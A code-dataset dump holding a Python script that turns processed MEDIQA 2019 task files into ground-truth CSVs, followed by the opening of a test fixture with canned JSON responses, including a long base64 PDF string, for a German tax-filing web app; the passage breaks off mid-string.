8f4a6cbe67e6e4b6b66de2a4f0659de9fca18101 | 3,967 | py | Python | get_mediqa_gt_processed.py | skviswa/DoubleTransfer_MEDIQA2019 | 048925700860245c76939b1f1428e0aed6408663 | [
"BSD-3-Clause"
] | null | null | null | get_mediqa_gt_processed.py | skviswa/DoubleTransfer_MEDIQA2019 | 048925700860245c76939b1f1428e0aed6408663 | [
"BSD-3-Clause"
] | null | null | null | get_mediqa_gt_processed.py | skviswa/DoubleTransfer_MEDIQA2019 | 048925700860245c76939b1f1428e0aed6408663 | [
"BSD-3-Clause"
] | null | null | null | import xml.etree.ElementTree as ET
from data_utils.mediqa_utils import submit
import os
import pdb
import json
is_train=False
dir_path = '../data/mediqa/task1_mednli/'
processed_path = '../data/mediqa_processed/mt_dnn_mediqa_scibert_v2/'
if not os.path.exists(processed_path):
os.makedirs(processed_path)
if is_train:
dev_path=os.path.join(processed_path,'mednli_train.json')
else:
dev_path=os.path.join(processed_path,'mednli_dev.json')
uids=[]
preds=[]
with open(dev_path, encoding='utf-8') as f:
for line in f:
sample=json.loads(line)
uids.append(sample['uid'])
preds.append(sample['label'])
output_path=os.path.join(dir_path,'gt_train.csv') if is_train else os.path.join(dir_path,'gt_dev.csv')
result={'uids':uids,'predictions':preds}
submit(output_path, result, 'mednli')
dir_path = '../data/mediqa/task2_rqe/'
processed_path = '../data/mediqa_processed/mt_dnn_mediqa_scibert_v2/'
if is_train:
dev_path=os.path.join(processed_path,'rqe_train.json')
else:
dev_path=os.path.join(processed_path,'rqe_dev.json')
uids=[]
preds=[]
with open(dev_path, encoding='utf-8') as f:
for line in f:
sample=json.loads(line)
uids.append(sample['uid'])
preds.append(sample['label'])
output_path=os.path.join(dir_path,'gt_train.csv') if is_train else os.path.join(dir_path,'gt_dev.csv')
result={'uids':uids,'predictions':preds}
submit(output_path, result, 'rqe')
dataset_name='rqe_shuff'
dir_path='../data/mediqa/task2_rqe/'
processed_path = '../data/mediqa_processed/mt_dnn_mediqa_scibert_v2/'
if is_train:
dev_path=os.path.join(processed_path,'{}_train.json'.format(dataset_name))
else:
dev_path=os.path.join(processed_path,'{}_dev.json'.format(dataset_name))
uids=[]
preds=[]
with open(dev_path,encoding='utf-8') as f:
for line in f:
sample=json.loads(line)
uids.append(sample['uid'])
preds.append(sample['label'])
output_path=os.path.join(dir_path,'gt_train_{}.csv'.format(dataset_name)) if is_train else os.path.join(dir_path,'gt_dev_{}.csv'.format(dataset_name))
result={'uids':uids,'predictions':preds}
submit(output_path, result, 'rqe')
dir_path='../data/mediqa/MedQuAD/'
processed_path = '../data/mediqa_processed/mt_dnn_mediqa_scibert_v2/'
if is_train:
dev_path=os.path.join(processed_path,'medquad_train.json')
else:
dev_path=os.path.join(processed_path,'medquad_dev.json')
uids=[]
preds=[]
with open(dev_path,encoding='utf-8') as f:
for line in f:
sample=json.loads(line)
uids.append(sample['uid'])
preds.append(sample['label'])
output_path=os.path.join(dir_path,'gt_train.csv') if is_train else os.path.join(dir_path,'gt_dev.csv')
result={'uids':uids,'predictions':preds}
submit(output_path, result, 'medquad')
dir_path='../data/mediqa/task3_qa/'
processed_path = '../data/mediqa_processed/mt_dnn_mediqa_scibert_v2/'
if is_train:
dev_path=os.path.join(processed_path,'mediqa_train.json')
else:
dev_path=os.path.join(processed_path,'mediqa_dev.json')
uids=[]
scores=[]
with open(dev_path,encoding='utf-8') as f:
for line in f:
sample=json.loads(line)
uids.append(sample['uid'])
scores.append(sample['label'])
output_path=os.path.join(dir_path,'gt_train.csv') if is_train else os.path.join(dir_path,'gt_dev.csv')
result={'uids':uids,'scores':scores}
submit(output_path, result, 'mediqa', threshold=2.000001)
dir_path='../data/mediqa/task3_qa/'
processed_path = '../data/mediqa_processed/mt_dnn_mediqa_scibert_v2/'
for sidx in range(0,5):
if is_train:
dev_path=os.path.join(processed_path,'mediqa_{}_train.json'.format(sidx))
else:
dev_path=os.path.join(processed_path,'mediqa_{}_dev.json'.format(sidx))
uids=[]
scores=[]
with open(dev_path,encoding='utf-8') as f:
for line in f:
sample=json.loads(line)
uids.append(sample['uid'])
scores.append(sample['label'])
output_path=os.path.join(dir_path,'gt_train_{}.csv'.format(sidx)) if is_train else os.path.join(dir_path,'gt_dev_{}.csv'.format(sidx))
result={'uids':uids,'scores':scores}
submit(output_path, result, 'mediqa', threshold=2.000001)
| 34.198276 | 150 | 0.751449 | 660 | 3,967 | 4.283333 | 0.107576 | 0.05306 | 0.084896 | 0.08914 | 0.874425 | 0.874425 | 0.874425 | 0.874425 | 0.851079 | 0.851079 | 0 | 0.008992 | 0.074868 | 3,967 | 115 | 151 | 34.495652 | 0.761308 | 0 | 0 | 0.735849 | 0 | 0 | 0.246344 | 0.113212 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.04717 | 0 | 0.04717 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 7 |
8f5b5ab924ed4b3fb0ecd9c04ad3603e23a90f7f | 343,421 | py | Python | webapp/tests/elster_client/json_responses/sample_responses.py | digitalservice4germany/steuerlotse | ef3e094e4d7d4768431a50ac4be60672cd03221d | [
"MIT"
] | 20 | 2021-07-02T07:49:08.000Z | 2022-03-18T22:26:10.000Z | webapp/tests/elster_client/json_responses/sample_responses.py | digitalservice4germany/steuerlotse | ef3e094e4d7d4768431a50ac4be60672cd03221d | [
"MIT"
] | 555 | 2021-06-28T15:35:15.000Z | 2022-03-31T11:51:55.000Z | webapp/tests/elster_client/json_responses/sample_responses.py | digitalservice4germany/steuerlotse | ef3e094e4d7d4768431a50ac4be60672cd03221d | [
"MIT"
] | 1 | 2021-07-04T20:34:12.000Z | 2021-07-04T20:34:12.000Z |
def get_json_response(keyword, idnr=None, elster_request_id=None):
if keyword == 'value_err_missing_fields':
return {
'detail': [
{'loc': ['body', 'est_data', 'somewhere!!'],
'msg': 'field required',
'type': 'value_error.missing'
}
]
}
if keyword == 'est_including_responses':
return {
"transfer_ticket": "et036422myggf53jxax8uy92dmvkete8",
"pdf": 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